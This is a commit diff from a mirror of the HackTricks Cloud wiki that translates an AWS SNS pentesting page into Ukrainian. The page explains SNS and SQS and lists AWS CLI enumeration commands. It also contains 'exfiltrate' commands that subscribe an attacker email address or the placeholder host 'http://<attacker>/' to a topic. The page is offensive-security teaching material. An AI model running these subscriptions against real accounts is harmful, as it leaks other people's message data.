mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 02:03:45 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -4,18 +4,17 @@
|
||||
|
||||
## SNS
|
||||
|
||||
Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
|
||||
Amazon Simple Notification Service (Amazon SNS) описується як **повністю керована служба обміну повідомленнями**. Вона підтримує як **додаток-додатку** (A2A), так і **додаток-людина** (A2P) типи комунікації.
|
||||
|
||||
Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
|
||||
Ключові особливості для A2A комунікації включають **механізми публікації/підписки (pub/sub)**. Ці механізми вводять **теми**, які є критично важливими для забезпечення високої пропускної здатності, **пуш-орієнтованого, багато до багатьох обміну повідомленнями**. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи видавців можуть ефективно розподіляти повідомлення на **широкий спектр систем підписників**, полегшуючи патерн обміну повідомленнями fanout.
|
||||
|
||||
### **Difference with SQS**
|
||||
### **Різниця з SQS**
|
||||
|
||||
**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
|
||||
On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
|
||||
While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
|
||||
|
||||
### **Enumeration**
|
||||
**SQS** є **службою на основі черг**, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень **одиничним споживачем**. Вона пропонує **доставку принаймні один раз**, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.\
|
||||
З іншого боку, **SNS** є **службою на основі публікації/підписки**, що дозволяє **один до багатьох** комунікацію, транслюючи повідомлення **багатьом підписникам** одночасно. Вона підтримує **різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS**, і надає механізми фільтрації для цільової доставки повідомлень.\
|
||||
Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на комунікації через черги, а SNS підкреслює патерни комунікації на основі подій та fan-out.
|
||||
|
||||
### **Перерахування**
|
||||
```bash
|
||||
# Get topics & subscriptions
|
||||
aws sns list-topics
|
||||
@@ -24,29 +23,28 @@ aws sns list-subscriptions-by-topic --topic-arn <arn>
|
||||
|
||||
# Check privescs & post-exploitation
|
||||
aws sns publish --region <region> \
|
||||
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
|
||||
--message file://message.txt
|
||||
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
|
||||
--message file://message.txt
|
||||
|
||||
# Exfiltrate through email
|
||||
## You will receive an email to confirm the subscription
|
||||
aws sns subscribe --region <region> \
|
||||
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
|
||||
--protocol email \
|
||||
--notification-endpoint my-email@example.com
|
||||
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
|
||||
--protocol email \
|
||||
--notification-endpoint my-email@example.com
|
||||
|
||||
# Exfiltrate through web server
|
||||
## You will receive an initial request with a URL in the field "SubscribeURL"
|
||||
## that you need to access to confirm the subscription
|
||||
aws sns subscribe --region <region>\
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
|
||||
> Зверніть увагу, що якщо **тема є типу FIFO**, можуть бути використані лише підписники, які використовують протокол **SQS** (HTTP або HTTPS не можуть бути використані).
|
||||
>
|
||||
> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
|
||||
> Також, навіть якщо `--topic-arn` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби вказує, що у вас немає доступу, але проблема в регіоні.
|
||||
|
||||
#### Unauthenticated Access
|
||||
|
||||
@@ -77,7 +75,3 @@ aws sns subscribe --region <region>\
|
||||
- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user